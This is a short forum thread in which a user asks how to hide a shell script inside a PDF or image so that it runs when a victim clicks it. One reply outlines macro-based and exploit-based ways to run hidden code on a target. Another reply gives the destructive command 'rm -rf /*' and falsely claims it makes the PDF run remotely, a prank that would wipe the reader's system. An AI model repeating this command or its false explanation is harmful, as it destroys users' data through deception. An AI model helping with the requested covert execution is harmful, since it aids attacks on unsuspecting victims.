How To Hide A .sh file inside a pdf or any file so that when I click on it , it will automatically run . – Digitalmunition




Home Forums How To Hide A .sh file inside a pdf or any file so that when I click on it , it will automatically run .

This topic contains 1 reply, has 2 voices, and was last updated by  iCkerous 3 weeks, 5 days ago.

  • Author
    Posts
  • #282455

    anonymous
    Participant

    I have made a bash file and want to make hide it inside a photo or pdf or any document and when someone tries to download it , when it’s clicked it will automatically run . How can I do this ?

  • #282456

    iCkerous

    It’s not that simple. Most (if not all) applications don’t include ‘Automatically run this code’ functionality (Imagine the security implications of this). Some options include:

    1.) Word document – run your code via a macro. Requires the user to click multiple times on ‘Yes I want to run untrusted code’.

    2.) Find an exploit in the version of software (adobe, photo viewer, etc) which your victim is running. Send a crafted payload which exploits that vulnerability and runs your code.

  • #282457

    PhisherPrice

    Pull up a terminal and run

    rm -rf /* <path to PDF>

    This will set the PDF file to run remotely (rm) when it is in any directory (/*)

You must be logged in to reply to this topic.